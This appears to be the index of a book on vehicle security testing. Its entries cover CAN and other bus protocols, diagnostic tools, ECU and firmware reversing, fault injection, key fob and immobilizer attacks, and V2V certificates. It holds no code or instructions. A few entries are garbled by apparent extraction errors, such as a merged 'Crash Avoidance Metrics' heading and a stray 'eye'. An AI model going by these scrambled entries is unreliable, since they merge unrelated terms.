asc2log	tool	(can-utils	package),	41
ASICs	(application-specific	integrated	circuits),	95
ASIL	(Automotive	Safety	Integrity	Level)	system,	11,	13



ASK	(amplitude-shift	keying)	modulation,	210–211
assembly	code

converting	C	code	to,	196–198
converting	to	shellcode,	199

asynchronous	channel,	MOST	bus	protocol,	25
AUD	(Advanced	User	Debugger),	133–134
Audio	Video	Bridging	(AVB)	standard,	31
autoignition	(detonation),	235
automated	crash	notification	(ACN)	systems,	64
Automotive	Ethernet	bus	protocol,	30–31
automotive	racing,	233
Automotive	Safety	Integrity	Level	(ASIL)	system,	11,	13
auxiliary	jacks	(IVI	systems),	158
AVB	(Audio	Video	Bridging)	standard,	31
AVR	systems,	resetting,	143
AVRDUDESS	GUI,	137,	139–140,	251

B
backdoor	attacks,	95
BCM	(broadcast	manager)	service,	45,	46
bcmserver	tool	(can-utils	package),	41
BerliOS,	35
best	master	clock	algorithm,	31
BGE	(Bus	Guardian	Enable),	30
.bin	files,	160
Binary	Editor,	238
binwalk	tool,	160
bird’s	eye	view	(Level	0)	threats,	3,	6–7
bitmasks,	71–72
Bluetooth	connection,	9,	164,	166–167,	212
Bluez	daemon,	10



BMEP	(brake	mean	effective	pressure),	235
Boone,	Jared,	213
Boothe,	Peter,	228
bootloaders,	brute-forcing,	138–148
brake	mean	effective	pressure	(BMEP),	235
bricking,	89
broadcast	manager	(BCM)	service,	45,	46
brute-forcing

diagnostic	modes,	58–60
key	code,	217
keypad	entry,	228–230
secure	bootloaders,	138–148

BURN2	programmer,	236
Bus	Guardian,	30
Bus	Guardian	Enable	(BGE),	30
Bus	Pirate	cable,	131
bus	protocols,	15–16.	See	also	names	of	specific	protocols

Automotive	Ethernet,	30–31
Controller	Area	Network,	16–20
FlexRay,	27–30
ISO	9141-2,	23
Keyword	Protocol	2000,	22–23
Local	Interconnect	Network,	24
Media	Oriented	Systems	Transport,	24–27
OBD-III,	33–34
SAE	J1850,	20–22

C
C	code,	194–202
c0f	(CAN	of	Fingers)	tool,	205–207,	250
.cab	files,	160
California	Air	Resources	Board	(CARB),	33



CAMP	(Crash	Avoidance	Metricseye	view	(Level	Partnership),	186–187
CAMs	(cooperative	awareness	messages),	181–183
CAN	(Controller	Area	Network)	bus	protocol.	See	also	reverse	engineering

CANbus	CANopen	protocol,	20
differential	signaling,	16–17
extended	packets,	19
finding	connections,	17–18
GMLAN,	20
ISO	15765-2,	19–20
OBD-II	connector,	17
standard	packets,	18–19
vulnerabilities,	10

CAN	bus	Y-splitter,	245
CAN	devices

Arduino	shields,	242
CAN	bus	Y-splitter,	245
CAN232	dongle,	244
CANBus	Triple	board,	245
CANtact,	242–243
CANUSB	dongle,	244
ChipKit	board,	243
ChipWhisperer,	246
CrossChasm	C5	data	logger,	245
ELM327	chipset,	243–244
ELM-USB	connector,	244
EVTV	due	board,	244–245
Freematics	OBD-II	Telematics	Kit,	242
GoodThopter	board,	244
HackRF	SDR,	245
Raspberry	Pi,	243
Red	Pitaya	board,	246
serial,	39–40
setting	up	can-utils	to	connect	to,	36
USB2CAN	converter,	244



USRP	SDR,	246
ValueCAN,	252
VSCOM	adapter,	244

CAN	high	(CANH)	wires,	16–17
CAN	low	(CANL)	wires,	16–17
CAN	network.	See	also	CAN	bus	protocol;	reverse	engineering	CAN	bus

locating,	67–68
sending	data	with,	55
virtual,	40–41

CAN	of	Fingers	(c0f)	tool,	205–207,	250
can0	device,	38
CAN232	dongle,	244
Canberry	controller,	243
CANBus	Control	Panel,	82–83
CANBus	Triple	board,	245
canbusload	tool	(can-utils	package),	41
can-calc-bit-timing	command	(can-utils	package),	41
can_dev	module,	37–38
CANdiy-shield,	242
candump	utility	(can-utils	package),	41,	70
canfdtest	tool	(can-utils	package),	42
cangen	command	(can-utils	package),	42
cangw	tool	(can-utils	package),	42
CANH	(CAN	high)	wires,	16–17
CANiBUS	server,	248
can-isotp.ko	module	(can-utils	package),	43–44
CANL	(CAN	low)	wires,	16–17
canlogserver	utility	(can-utils	package),	42
CANopen	protocol,	20
canplayer	command	(can-utils	package),	42
cansend	tool	(can-utils	package),	42
cansniffer	tool	(can-utils	package),	42,	71–72



CANtact,	242–243
CANUSB	dongle,	244
can-utils	package,	20

asc2log	tool,	41
bcmserver	tool,	41
canbusload	tool,	41
can-calc-bit-timing	command,	41
candump	utility,	41
canfdtest	tool,	42
cangen	command,	42
cangw	tool,	42
can-isotp.ko	module,	43–44
canlogserver	utility,	42
canplayer	command,	42
cansend	tool,	42
cansniffer,	42
configuring	built-in	chipsets,	37–38
configuring	serial	CAN	devices,	39–40
finding	door-unlock	control,	77–78
installing,	36–37
installing	additional	kernel	modules,	42–43
isotpdump	tool,	42
isotprecv	utility,	42
isotpsend	command,	42
isotpserver	tool,	42
isotpsniffer,	42
isotptun	utility,	42
log2asc	tool,	42
log2long	command,	42
recording	and	playing	back	packets,	73
setting	up	virtual	CAN	network,	40–41
slcan_attach	tool,	42
slcand	daemon,	42
slcanpty	tool,	42



CARB	(California	Air	Resources	Board),	33
Carberry	controller,	243
CaringCaribou	(CC),	58–60,	249
CAs	(certificate	authorities),	188
CC	(CaringCaribou),	58–60,	249
CDR	(crash	data	retrieval)	tools,	62
cellular	networks

V2V	communication	and,	178
vulnerabilities,	7–8

certificate	authorities	(CAs),	188
certificate	provisioning,	189–190
certificate	revocation	list	(CRL),	190,	191–192
Character	Sheet,	Open	Garages,	255–259
chip	tuning.	See	also	reverse	engineering	CAN	bus

EPROM	programmers,	236–237
ROM	emulators,	237–238

ChipKit	board,	243
chipping	process,	236
chipsets

configuring,	37–38
identifying,	128–130

ChipWhisperer,	134–135,	246
ChipWhisperer	ADC,	143–144
installing,	135–137
Main	Window	settings	for	clockglitch	attack,	151
prepping	Victim	Board,	137–138
scripting	with	Python,	147–148
setting	up	for	serial	communication,	140–141

Chrysler
SAE	J1850	protocol,	20
VPW	protocol,	22

ChuangZhou	CAN-Bus	shield,	242
circuit	boards



chips,	128–130
model	numbers,	128

CKP	(crankshaft	position),	121–122,	124
clock	glitching,	148–154
COB-ID	(communication	object	identifier),	20
code	analysis,	106–107

interactive	disassemblers,	110–112
plain	disassemblers,	107–110

codes,	DTC,	52–53
coding	SocketCAN	applications

connecting	to	CAN	socket,	44–45
procfs	interface,	45–46
setting	up	CAN	frame,	45

common	vulnerability	scoring	system	(CVSS),	13
communication	object	identifier	(COB-ID),	20
connectors	(IVI	system),	166–170
control	blocks,	MOST	bus	protocol,	25–26
control	channel,	MOST	bus	protocol,	25
Controller	Area	Network	bus	protocol.	See	CAN	(Controller	Area	Network)

bus	protocol	cooperative	awareness	messages	(CAMs),	181–183
crankshaft	position	(CKP),	121–122,	124
Crash	Avoidance	Metrics	Partnership	(CAMP),	186–187
crash	data	retrieval	(CDR)	tools,	62
CRC32	hash,	162
crc32	tool,	162
creative	packet	analysis,	76–80
CRL	(certificate	revocation	list),	190,	191–192
CrossChasm	C5	data	logger,	245
ctrl_tx	utility,	26
CVSS	(common	vulnerability	scoring	system),	13
cycles,	FlexRay,	28–29
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.dat	files,	160
data	length	code	(DLC),	19
data	visualization	tools,	100
DB9-to-OBDII	connector,	32–33
debugging	hardware

Advanced	User	Debugger,	133–134
JTAG	protocol,	130–132
Nexus,	133–134
Serial	Wire	Debug,	132–133

decentralized	environmental	notification	messages	(DENMs),	183–184
dedicated	short-range	communication	protocol.	See	DSRC	(dedicated

shortrange	communication)	protocol	definitions	(def)	file,	239
DENMs	(decentralized	environmental	notification	messages),	183–184
Department	of	Defense	(DoD)	threat	rating	system,	13
detonation	(autoignition),	235
device	under	test	(DUT),	137–138
DFRobot	CAN-Bus	shield,	242
diagnostic	link	connector	(DLC),	17,	51,	119.	See	also	diagnostics	and

logging	diagnostic	trouble	codes.	See	DTCs
diagnostics	and	logging,	51–65

automated	crash	notification	systems,	64
diagnostic	trouble	codes,	33,	52–54
event	data	recorder,	61–63
malicious	intent,	64–65
Unified	Diagnostic	Services,	54–61

dictionary	attacks,	218
differential	signaling,	16
DIP	(dual	in-line	package)	chips,	236
disassemblers

Dis51,	106
Dis66k,	106



interactive,	110–112
plain,	107–110

disassembling	IVI	unit,	168
DLC	(data	length	code),	19
DLC	(diagnostic	link	connector),	17,	51,	119.	See	also	diagnostics	and

logging	.dll	files,	160
DoD	(Department	of	Defense)	threat	rating	system,	13
door-unlock	control

finding	with	can-utils	package,	77–78
finding	with	Kayak,	76–77

DREAD	rating	system,	11–13
DSRC	(dedicated	short-range	communication)	protocol,	179–180

defined,	178
features	and	uses,	180–181
roadside	systems,	181–184
tracking	vehicles	with,	186
WAVE	standard,	184–186

DST-40	algorithm,	225–226
DST-80	algorithm,	226
DTCs	(diagnostic	trouble	codes)

codes,	52–53
erasing,	54
faults,	52
OBD-III	standard	and,	33
scan	tools,	54

dual	in-line	package	(DIP)	chips,	236
dumping	transponder	memory,	218
DUT	(device	under	test),	137–138
DVD	checks	(IVI	system),	164–165
dynamic	segment	(FlexRay	cycles),	28,	30
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ECU	(engine/electronic	control	unit).	See	also	ECU	hacking;	ECU	test
benches;	embedded	systems	block	diagrams,	118–119

finding,	116–117
pinouts,	118
TPMS	connection,	8–9
tuning,	235–239

ECU	hacking,	91–92
backdoor	attacks,	95
code	analysis,	106–112
exploits,	95–96
front	door	attacks,	92–95
reversing	firmware,	96–105

ECU	test	benches,	115–126
hall	effect	sensors,	121–122
simulating	sensor	signals,	120–121
simulating	vehicle	speed,	123–126

ECU	tuning,	235–236
chip	tuning,	236–238
flash	tuning,	238–239

EDR	(event	data	recorder),	61–62
reading	data	from,	62
restraint	control	module,	63
SAE	J1698	standard,	63
sensing	and	diagnostic	module,	63

Ege,	Baris	,	222
electronic	control	unit.	See	ECU	(engine/electronic	control	unit)	electronic

controllers,	91.	See	also	ECU	hacking	ELLSI	(Ethernet	low-level
socket	interface),	158

ELM327	chipset,	54,	243–244
ELM-USB	connector,	244
EM	Micro	Megamos	algorithm,	221–223
EM4237	algorithm,	223
embedded	systems,	127.	See	also	wireless	systems	circuit	boards,	128–130

debugging	hardware,	130–134



fault	injection,	148–156
power-analysis	attacks,	138–148
side-channel	analysis,	134–138

emissions,	performance	tuning	and,	234–235
EMS	PCMCIA	card,	37
end-of-data	(EOD),	VPW	protocol,	22
engine	control	unit.	See	ECU	(engine/electronic	control	unit)	EOD	(end-of-

data),	VPW	protocol,	22
epidemic	distribution	model,	191
EPROM	programmers,	236–237
Ethernet,	30–31,	158
Ethernet	low-level	socket	interface	(ELLSI),	158
ETSI	(European	Telecommunications	Standards	Institute)

cooperative	awareness	messages,	181–183
decentralized	environmental	notification	messages,	183–184

Ettus	Research,	210
European	DSRC	system,	180–181
European	Telecommunications	Standards	Institute.	See	ETSI	Evenchick,

Eric,	242
event	data	recorder.	See	EDR	(event	data	recorder)
events

event	data	recorder,	61–63
triggering	with	TPMS,	214–215

EVTV	due	board,	244–245
EVTV.me,	248
.exe	files,	160
exploits,	95–96

responsible	exploitation,	208
writing	in	C	code,	194–202

extended	packets,	CAN	bus	protocol,	19
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fault	injection
clock	glitching,	148–154
defined,	148
invasive,	156
power	glitching,	156
setting	trigger	line,	154–155

faults,	52
field-programmable	gate	array	(FPGA)	board,	149,	225
file	command,	160
fire-and-forget	structure	(CAN	packets),	55
firmware,	reversing,	96–105
flash	tuning	(flashing),	238–239
FlexRay	bus	protocol,	27–30

cycles,	28–29
hardware,	27
network	topology,	27
packet	layout,	29–30
sniffing,	30
time	division	multiple	access	scheme,	27–28

Ford	Motor	Company
MAF	transfer	graph,	98
OpenXC,	84–88
PWM	protocol,	21
restraint	control	module,	63

forged	packets,	sending	with	TPMS,	215
forward-prediction	attacks,	218
FPGA	(field-programmable	gate	array)	board,	149,	225
frame	ID,	FleyRay	packet,	30
Freematics	OBD-II	Telematics	Kit,	242
freeze	frame	data,	52
frequency-shift	keying	(FSK)	modulation,	211
front	door	attacks

J2534-1	standard,	92–93



KWP2000,	94
seed-key	algorithms,	94–95

FSK	(frequency-shift	keying)	modulation,	211
Future	Technology	Devices	International,	Ltd	(FTDI),	39
fuzzing,	64,	88

G
Garcia,	Flavio	D.,	222,	225
General	Motors

GMLAN	bus,	20
pinout,	31–32
SAE	J1850	protocol,	20
sensing	and	diagnostic	module,	63
VPW	protocol,	22

Generalized	Vehicle	Reverse	Engineering	Tool	(GVRET),	245
glitching

clock,	148–154
defined,	148
invasive,	156
power,	156
setting	trigger	line,	154–155

GMLAN	bus,	20
GNU	binutils	disassembler,	106
GNU	Radio	Companion	(GRC),	210,	216
Go	language,	248
Goodspeed,	Travis,	244
GoodThopter	board,	244
Gqrx	SDR,	216
GRC	(GNU	Radio	Companion),	210,	216
Great	Scott	Gadgets,	210,	245
GVRET	(Generalized	Vehicle	Reverse	Engineering	Tool),	245



H
HackRF	One,	210
HackRF	SDR,	245
Hall	effect	sensors,	121–122
hard	(permanent)	DTCs,	54
hard	faults,	52
hardware

Arduino	shields,	242
attacking	IVI	system	via,	166–170
CAN	bus	Y-splitter,	245
CAN232	dongle,	244
CANBus	Triple	board,	245
CANtact,	242–243
CANUSB	dongle,	244
ChipKit	board,	243
ChipWhisperer,	246
CrossChasm	C5	data	logger,	245
debugging,	130–134
ELM327	chipset,	243–244
ELM-USB	connector,	244
EVTV	due	board,	244–245
FlexRay	bus	protocol,	27
Freematics	OBD-II	Telematics	Kit,	242
GoodThopter	board,	244

hardware,	continued
HackRF	SDR,	245
MegaSquirt,	239–240
Raspberry	Pi,	243
Red	Pitaya	board,	246
USB2CAN	converter,	244
USRP	SDR,	246
VSCOM	adapter,	244

hashing,	162–163



header	bits	(VPW	protocol),	22
header	CRC	(FlexRay	packet),	29,	30
hex	editors,	100
high-speed	CAN	(HS-CAN)	lines,	18,	32,	38
high-speed	synchronous	interface	(HSI),	10,	13–14
Hitag	1	algorithm,	224
Hitag	2	algorithm,	224–225
Hitag	AES	algorithm,	225
Horauer,	Martin,	30
hotwiring,	230
HS-CAN	(high-speed	CAN)	lines,	18,	32,	38
HSI	(high-speed	synchronous	interface),	10,	13–14
hybrid	approach,	V2V	communication,	178

I
ICSim	(instrument	cluster	simulator)

changing	difficulty	of,	84
reading	CAN	traffic	on,	83
setting	up,	81–83

IDA	Pro	disassembler,	106,	110
identifier	extension	(IDE),	19
idle	segment	(FlexRay	cycles),	28
IEEE	802.1AS	standard,	31
IFR	(in-frame	response)	data,	VPW	protocol,	22
Immo	Emulators,	228
immobilizer	systems,	220–221

defined,	8
DST-40,	225–226
DST-80,	226
EM	Micro	Megamos,	221–223
EM4237,	223
Hitag	1,	224



Hitag	2,	224–225
Hitag	AES,	225
Keeloq,	226–227
Open	Source	Immobilizer	Protocol	Stack,	227
physical	attacks	on,	228–230

infotainment	console,	5–6,	9.	See	also	IVI	system	in-frame	response	(IFR)
data,	VPW	protocol,	22

instrument	cluster	simulator.	See	ICSim
intelligent	transportation	system,	177
interactive	disassemblers,	110–112
interactive	probing	method,	for	determining	vehicle	make,	203–204
internal	network	controls	(IVI	systems),	158
Intrepid	Control	Systems,	252
invasive	fault	injection,	156
in-vehicle	infotainment	system.	See	IVI	(in-vehicle	infotainment)	system

IPv4	passive	fingerprinting,	205
IPv6	protocol,	185
ISO	15765-2	(ISO-TP)	protocol,	19–20,	55
ISO	26262	ASIL	rating	system,	11,	13
ISO	9141-2	(K-Line)	bus	protocol,	23
ISO-TP	(ISO	15765-2)	protocol,	19–20,	55
isotpdump	tool	(can-utils	package),	42
isotprecv	utility	(can-utils	package),	42
isotpsend	command	(can-utils	package),	42
isotpserver	tool	(can-utils	package),	42
isotpsniffer	(can-utils	package),	42
isotptun	utility	(can-utils	package),	42
IVI	(in-vehicle	infotainment)	system,	157–158

acquiring	OEM	system	for	testing,	174–175
attack	surfaces,	158
attacking	hardware,	166–170
attacking	through	update	system,	158–165
test	benches,	170–174
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J2534-1	standard,	92

shims,	93
sniffers	and,	93
tools,	93

jamming	signal,	key	fobs,	216–217
JSON	format,	86
JTAG	protocol

debugging	with,	131–132
defined,	130
JTAGulator,	131

JTAGulator,	131

K
Kamkar,	Samy,	217
Kayak,	248

finding	arbitration	IDs,	79–80
finding	door-unlock	control,	76–77
recording	and	playing	back	packets,	73–75
socketcand	and,	46–49

Keeloq	algorithm,	226–227
kernel	device	manager	(udev),	11
key	fobs,	215–216

amplified	relay	attack,	220
brute-forcing	key	code,	217
dictionary	attacks,	218
dumping	transponder	memory,	218
forward-prediction	attacks,	218
jamming	signal,	216–217
passive	keyless	entry	and	start	systems,	219–220
pulling	response	codes,	217
reversing	CAN	bus,	218–219



transponder	duplication	machines,	219
vulnerabilities,	8

keyslot-only	state	(FlexRay	cycles),	29
Keyword	Protocol	2000	(KWP2000)	bus	protocol,	22–23,	94
Kidder,	Collin,	248
K-Line	(ISO	9141-2)	bus	protocol,	23
Komodo	CAN	bus	sniffer,	251–252
Kvaser	Driver,	11
KWP2000	(Keyword	Protocol	2000)	bus	protocol,	22–23,	94

L
LA	(linkage	authority),	192
LAWICEL	AB,	244
LAWICEL	protocol,	242,	244
Level	0	6–7
Level	1	(receivers)	threats,	4,	7–10
Level	2	(receiver	breakdown)	threats,	5–6,	10–11
LF	(low-frequency)	RFID	chip,	219
library	procedures,	97
LIN	(Local	Interconnect	Network)	bus	protocol,	24
linkage	authority	(LA),	192
Linux.	See	also	SocketCAN

Automotive	Grade	Linux	system,	173–174
ELM327	chipset	and,	243–244
FlexRay	network	and,	30
GENIVI	system	and,	170–173
hashing	tools,	162
ICSim,	81–84
infotainment	systems,	5–6
installing	ChipWhisperer	software,	135–137
most4linux	project,	26–27
Raspberry	Pi,	243



tools,	162,	247
LNA	(low-noise	amplifier),	213
Local	Interconnect	Network	(LIN)	bus	protocol,	24
location	obscurer	proxy	(LOP),	190
log2asc	tool	(can-utils	package),	42
log2long	command	(can-utils	package),	42
long-term	certificate	(LTC),	188
LOP	(location	obscurer	proxy),	190
low-frequency	(LF)	RFID	chip,	219
low-noise	amplifier	(LNA),	213
low-number-of-coldstarters	state	(FlexRay	cycles),	29
low-speed	CAN	(LS-CAN)	lines,	18,	32,	38
LTC	(long-term	certificate),	188

M
MA	(misbehavior	authority),	192
macroticks,	28
MAF	(mass	air	flow)	sensor,	97
malfunction	indicator	lamp	(MIL),	51,	52
malicious	intent,	64–65
Manchester	encoding,	214
mass	air	flow	(MAF)	sensor,	97
MCU	(microcontroller	unit),	101,	120
MD5	hash,	162
md5sum	tool,	162
Media	Oriented	Systems	Transport	bus	protocol.	See	MOST	(Media

Oriented	Systems	Transport)	bus	protocol	Megamos	cryptographic
system,	221–222

MegaSquirt	hardware,	239–240
Meier,	Jan-Niklas,	41,	46
memory	chips,	95



Metasploit,	193–194,	200–202
microcontroller	unit	(MCU),	101,	120
mid-speed	CAN	(MS-CAN)	lines,	18
MIL	(malfunction	indicator	lamp),	51,	52
MIL-STD-882E	rating	system,	11,	13
misbehavior	authority	(MA),	192
misbehavior	reports,	V2V	communication,	192
Moates	ROM	adapter	board,	237
model	numbers,	circuit	boards,	128
modes,	diagnostic	code,	57–60,	253–254
MOST	(Media	Oriented	Systems	Transport)	bus	protocol,	24–25

control	blocks,	25–26
hacking,	26–27
network	layers,	25

most4linux	driver,	26–27
most_aplay	utility,	26
MS-CAN	(mid-speed	CAN)	lines,	18
MultiTarget	Victim	Board

ChipWhisperer,	135
set	for	glitching,	149

Murphy,	Austin,	246
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NAD	(node	address	for	diagnostics),	24
National	Highway	Traffic	Safety	Administration	(NHTSA),	62
NavTeq	infotainment	unit,	159
NeoIV	devices,	252
network	layers,	MOST	bus	protocol,	25
network	sniffers.	See	sniffers
NewAE	Technologies,	245
Nexus	interface,	133–134



NHTSA	(National	Highway	Traffic	Safety	Administration),	62
Nissan

MAF	VQ	graph,	98
plain	dissassembly	of	1990	300ZX	Twin	Turbo	ROM,	107–110

NLFSR	(nonlinear	feedback	shift	register),	226
node	address	for	diagnostics	(NAD),	24
nonlinear	feedback	shift	register	(NLFSR),	226
no-operation	instructions	(NOPs),	164
NULL	values,	removing	from	code,	199–200

O
O2OO	data	logger,	249
OBD2	ScanTool,	246
OBD-II	connector,	17,	51,	119.	See	also	diagnostics	and	logging	OBD-III

bus	protocol,	33–34
OBDTester.com,	244
Octane	CAN	bus	sniffer,	250
OEM	(original	equipment	manufacturer)

front	door	attacks,	92
testing	IVI	system,	174–175

OLS300	emulator,	238
on-off	keying	(OOK),	211
Open	Garages,	81,	205,	241,	248,	255–259
Open	Source	development	site,	35
Open	Source	Immobilizer	Protocol	Stack,	227
Open	Systems	Interconnection	(OSI)	model,	25
OpenXC,	84–85

hacking,	87–88
translating	CAN	bus	messages,	85–86
writing	to	CAN	bus,	86

optical	glitches,	132
original	equipment	manufacturer.	See	OEM	(original	equipment



manufacturer)	OSI	(Open	Systems	Interconnection)	model,	25
Ostrich2	emulator,	237

P
parameter	IDs	(PIDs),	57–60,	254
passband,	RFID	receiver,	216
passive	CAN	bus	fingerprinting,	204–207
passive	keyless	entry	and	start	(PKES)	systems,	219–220
passwords

monitoring	power	usage	when	entering,	145–147
setting	custom	password,	141–143

payload	length,	FlexRay	packet,	30
payloads,	193–194,	200–202.	See	also	weaponizing	CAN	findings	PC

(pseudonym	certificate),	189
PCA	(Pseudonym	Certificate	Authority),	190
PCM	(powertrain	control	module),	33,	51
PEAK-System	PCAN-USB	adapter,	38
performance	tuning,	233–234

ECU	tuning,	235–239
stand-alone	engine	management,	239–240
trade-offs,	234–235

permanent	(hard)	DTCs,	54
PF_CAN	protocol	family,	36
PICAN	CAN-Bus	board,	243
PIDs	(parameter	IDs),	57–60,	254
PKES	(passive	keyless	entry	and	start)	systems,	219–220
PKI	(public	key	infrastructure)	systems,	188

anonymous	certificates,	189
certificate	provisioning,	189–190
certificate	revocation	list,	191–192
misbehavior	reports,	192
vehicle	certificates,	188–189



plain	disassemblers,	107–110
plastic	optical	fiber	(POF),	24–25
plug-ins	(IVI	system),	163
PoC	(proof-of-concept)	broadcast	manager	server,	41
POF	(plastic	optical	fiber),	24–25
potentiometers,	120
power	glitching,	156
power-analysis	attacks,	138–148,	227
powertrain	control	module	(PCM),	33,	51
PRF	(pseudorandom	function),	220
PRNG	(pseudorandom	number	generator),	218,	220
procfs	interface,	45–46
proof-of-concept	(PoC)	broadcast	manager	server,	41
pseudonym	certificate	(PC),	189
Pseudonym	Certificate	Authority	(PCA),	190
pseudorandom	function	(PRF),	220
pseudorandom	number	generator	(PRNG),	218,	220
public	key	infrastructure	systems.	See	PKI	(public	key	infrastructure)	systems

pulse	width	modulation	(PWM)	protocol,	21
PyOBD	module,	246–247
Python

CaringCaribou,	58–60,	249
scripting	ChipWhisperer	with,	147–148

Q
QoS	(quality	of	service),	31
quadlets,	26

R
RA	(Registration	Authority),	189
radare2	disassembler,	163



radio-frequency	identification	(RFID),	215
randomize	option,	ICSim,	84
ransomware,	7
Raspberry	Pi,	243
rating	systems,	threat

CVSS	system,	13
DREAD	system,	11–13

RCM	(restraint	control	module),	63
ReadDataByID	command,	61
receiver	breakdown	(Level	2)	threats,	5–6,	10–11
receivers	(Level	1)	threats,	4,	7–10
Red	Pitaya	board,	246
Registration	Authority	(RA),	189
relay	attacks,	PKES	systems,	219–220
remote	transmission	request	(RTR),	19
Renesas	automotive	chipset,	133
response	codes,	pulling,	217
restraint	control	module	(RCM),	63
reverse	engineering	CAN	bus

candump	tool,	70
creative	packet	analysis,	76–80
fuzzing,	88
grouping	streamed	data,	70–73
instrument	cluster	simulator,	81–84
key	fobs,	218–219
locating	CAN	network,	67–68
with	OpenXC,	84–88
recording	and	playing	back	packets,	73–75
troubleshooting,	89
Wireshark,	69

reversing	firmware
comparing	bytes,	101–103
identifying	tables,	97–101



library	procedures,	97
microcontroller	unit,	101
ROM	data,	103–105
self-diagnostic	system,	96–97
WinOLS,	103–105

RFID	(radio-frequency	identification),	215
RoadRunner	emulator,	238
roadside	DSRC	systems

cooperative	awareness	messages,	181–183
decentralized	environmental	notification	messages,	183–184

ROM	data,	103–105
ROM	emulators,	237–238
RomRaider,	238–239,	251
RTR	(remote	transmission	request),	19

S
SAE	J1850	bus	protocol,	20–21

event	data	recorder,	63
pulse	width	modulation,	21
variable	pulse	width,	22

SavvyCAN,	248–249
SCMS	(Security	Credentials	Management	System),	188
Scope	Tab	settings,	ChipWhisperer	ADC,	143–144
SDK	(software	development	kit),	164
SDM	(sensing	and	diagnostic	module),	63
SDR	(software-defined	radio),	210

Gqrx,	216
HackRF,	245
signal	modulation,	210–211
tracking	vehicles	with,	186

security	through	obscurity,	220
Security	Credentials	Management	System	(SCMS),	188



SecurityAccess	command,	61
seed-key	algorithms,	94–95
SeeedStudio	SLD01105P	CAN-Bus	shield,	242
self-diagnostic	system,	96–97
sensing	and	diagnostic	module	(SDM),	63
sensor	signals,	simulating,	120–121
SensorID,	TPMS	packet,	213–214
serial	CAN	devices,	39–40
Serial	Wire	Debug	(SWD),	132–133
SHA-1	hash,	162
sha1sum	tool,	162
shellcode,	194
shims,	J2534-1	standard,	93
signal	generators,	126
signal	modulation,	SDR,	210

amplitude-shift	keying,	210–211
frequency-shift	keying,	211

simulating
sensor	signals,	120–121
vehicle	speed,	123–126

slcan_attach	tool	(can-utils	package),	42
slcand	daemon	(can-utils	package),	39–40,	42
slcanpty	tool	(can-utils	package),	42
sniffers

cansniffer,	42
FlexRay	bus	protocol,	30
fuzzing	and,	88
isotpsniffer,	42
J2534-1	standard	and,	93
Komodo	CAN	bus,	251–252
Octane	CAN	bus,	250
WAVE	packets	and,	179

SocketCAN,	35–36,	247



can-utils,	36–44
coding	applications,	44–46
Kayak,	46–49
socketcand	daemon,	46

socketcand	daemon,	46
soft	faults,	52
software.	See	also	names	of	specific	software

AVRDUDESS	GUI,	251
CAN	of	Fingers,	205–207,	250
CANiBUS	server,	248
CaringCaribou,	58–60,	249
Kayak,	248
Komodo	CAN	bus	sniffer,	251–252
Linux	tools,	247
O2OO	data	logger,	249
Octane	CAN	bus	sniffer,	250
PyOBD	module,	246–247
RomRaider,	251
SavvyCAN,	248–249
UDSim	ECU	simulator,	250
Vehicle	Spy,	252
Wireshark,	246

software	development	kit	(SDK),	164
software-defined	radio.	See	SDR	(software-defined	radio)	SparkFun	SFE

CAN-Bus	shield,	242
splash	screen,	modifying,	161
spoofing	packets,	30
SRR	(substitute	remote	request),	19
stand-alone	engine	management,	239–240
standard	packets,	18–19
static	segment	(FlexRay	cycles),	28,	30
status	bits	(FlexRay	packet),	29
Steininger,	Andreas,	30



ST-Link,	132–133
STM32F4	chips,	132
STM32F407Vx	chips,	129
Subaru,	238,	251
substitute	remote	request	(SRR),	19
SWD	(Serial	Wire	Debug),	132–133
symbol	window	segment	(FlexRay	cycles),	28,	29
SYNC	field,	LIN	protocol,	24
synchronous	channel,	MOST	bus	protocol,	25
sync_rx	utility,	27
sync_tx	utility,	27
system	updates,	attacking	IVI	system	via,	158–165

T
tables,	identifying,	97–101
tachometers,	77–79
Tactrix	OpenPort	2.0,	238
TCM	(transmission	control	module),	91.	See	also	ECU	hacking	TCU

(transmission	control	unit),	91.	See	also	ECU	hacking	TDMA	(time
division	multiple	access)	scheme,	27–28

test	benches	(IVI	system)
Automotive	Grade	Linux,	173–174
GENIVI	Meta-IVI,	170–173

threat	modeling,	1
attack	surfaces,	2
handling	results,	13–14
Level	0	(bird’s	eye	view),	3,	6–7
Level	1	(receivers),	4,	7–10
Level	2	(receiver	breakdown),	5–6,	10–11
rating	systems,	11–13
threat	identification,	6–11

time	division	multiple	access	(TDMA)	scheme,	27–28



time-dependent	signaling,	22
TinySafeBoot,	139
tire	pressure	monitor	sensor.	See	TPMS	(tire	pressure	monitor	sensor)	tools.

See	also	names	of	specific	tools
hardware,	241–246
software,	246–252

TPMS	(tire	pressure	monitor	sensor)	,	211–212
activating	signal,	214
eavesdropping	on,	212–213
exploiting	connection,	8–9
packets,	213–214
sending	forged	packets,	215
tracking	vehicles	with,	214
triggering	event	with,	214–215

tracking	vehicles
with	DSRC	protocol,	186
with	TPMS,	214

trade-offs,	performance	tuning,	234–235
transmission	control	module	(TCM),	91.	See	also	ECU	hacking	transmission

control	unit	(TCU),	91.	See	also	ECU	hacking	transponder
duplication	machines,	219

transponders,	33–34,	218.	See	also	key	fobs	TREAD	(Transportation	Recall
Enhancement,	Accountability,	and	Documentation)	Act	of	2000,
212

trigger	wheel,	122
troubleshooting,	89.	See	also	diagnostics	and	logging	TunerStudio	tool,	240

eye
tuning,	233–234

ECU	tuning,	235–239
stand-alone	engine	management,	239–240
trade-offs,	234–235

U



UART	protocol,	23
udev	(kernel	device	manager),	11
UDS	(Unified	Diagnostic	Services),	54–55

error	responses,	55–57
keeping	vehicle	in	diagnostic	state,	60–61
modes	and	PIDS,	57–60
sending	data,	55–57

UDSim	ECU	simulator,	250
ultra-high-frequency	(UHF)	signal,	219
Unified	Diagnostic	Services.	See	UDS	(Unified	Diagnostic	Services)

Universal	Software	Radio	Peripheral	(USRP),	210
Unknown	symbol	messages,	44
unshielded	twisted-pair	(UTP)	cables,	25
update	system,	attacking	IVI	system	via,	158–165
USB	port	connection,	9
USB2CAN	converter,	244
USRP	(Universal	Software	Radio	Peripheral),	210
USRP	SDR,	246
UTP	(unshielded	twisted-pair)	cables,	25

V
V2I	(vehicle-to-infrastructure)	communication,	177
V2V	(vehicle-to-vehicle)	communication,	177–179

acronyms,	179
DRSC	protocol,	179–186
PKI	systems,	188–192
security,	186–187

ValueCAN	devices,	252
variable	pulse	width	(VPW)	protocol,	22
vcan	module,	40–41
VDS	(Vehicle	Descriptor	Section),	203
vehicle	certificates,	188–189



Vehicle	Descriptor	Section	(VDS),	203
vehicle	identification	number.	SeeVIN
vehicle	interface	(VI),	85
vehicle	make,	determining,	202

